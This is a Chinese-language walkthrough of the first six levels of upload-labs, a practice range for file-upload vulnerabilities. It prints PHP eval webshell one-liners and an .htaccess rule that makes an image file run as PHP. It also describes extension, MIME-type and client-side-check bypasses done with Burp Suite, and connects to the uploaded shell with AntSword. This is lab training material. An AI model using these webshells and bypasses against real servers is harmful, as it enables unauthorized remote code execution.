简介
upload-labs
是一个使用php
语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
文件上传漏洞是指: Web 服务器允许用户将文件上传至其文件系统,但这些文件可能并没有经过充分的验证,如文件名称、类型、内容或大小等。未能正确执行这些限制就意味着即使最基本的图像上传功能也可能用于上传任意具有潜在危险的文件,里面甚至包括远程代码执行的服务器端脚本文件。
安装好以下工具:
upload-labs靶场
phpstudy2016(版本php5.2.17)
火狐浏览器
Burp Suite :抓包工具
蚁剑或菜刀 :webshell连接工具
pass-1(JS前端验证)
1.上传php一句话木马
新建记事本,写入一句话木马,保存为php格式。
<?php @eval($_POST['pass']);?>
提示不允许上传
绕过方法:
方法一:
禁用javascript : F12--调试器--设置--禁用javascript。
然后再点击上传--F12 查看文件存储地址(也可以右键--复制图像链接--链接内含存储地址)
上传成功。
#实战中禁用javascript,可能导致网页显示异常.
方法二:
使用burpsuite拦截请求
修改文件名后缀为.php--点击forward
上传成功
pass-2(MIME验证)
绕过方法:
方法一:
使用burpsuite拦截请求,修改Content-Type值:修改为image/png
方法二:修改文件后缀
修改filename的值为shent.php 点击forward.
上传成功
pass-3(文件名后缀黑名单限制上传)
首先上传php文件
提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
绕过方法:
上传特殊可解析后缀名绕过:php2、php3、php4、php5、phtml
首先修改httpd.conf文件
以phpstudy2016为例:
1.点击其他选项菜单
2.打开配置文件--选择httpd-conf
3.修改代码
删除注释符‘#’,添加 .php2 .php3 .php4 .php5 后缀名。保存退出
4.上传文件
新建文本,写入一句话木马:<?php phpinfo(); @eval($_POST['shell']); ?>,后缀名为.php3
右键复制图片链接,在新窗口访问, 解析成功
pass-4 (文件名后缀黑名单限制上传)
".htaccess绕过"
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
黑名单里没有限制 ".htaccess"
新建记事本,文件名".htaccess"输入以下内容保存。
<FilesMatch "1.png"> SetHandler application/x-httpd-php </FilesMatch>
命令允许:1.png图片可被当作php文件,执行图片里的php代码.
先上传".htaccess"文件,然后再上传"1.png"。
上传成功,右键复制图片连接,使用蚁剑链接。
输入地址和密码,测试连接"警告返回数据为空"
解决方法:
1.检查phpstudy版本是否为:5.2.17
2.更改编码器为:base64
测试连接:连接成功
pass-5
第五关限制后缀名很严格,包括大小写和.htaccess文件
绕过方法:添加点空格点'. .'绕过
使用bp抓包,修改后缀。
点击forward,上传成功
右键复制图片链接,在新窗口访问,解析成功
pass-6
提示中没有限制大小写
绕过方法:大小写绕过
使用bp抓包,修改后缀。
点击forward,上传成功
右键复制图片链接,在新窗口访问,解析成功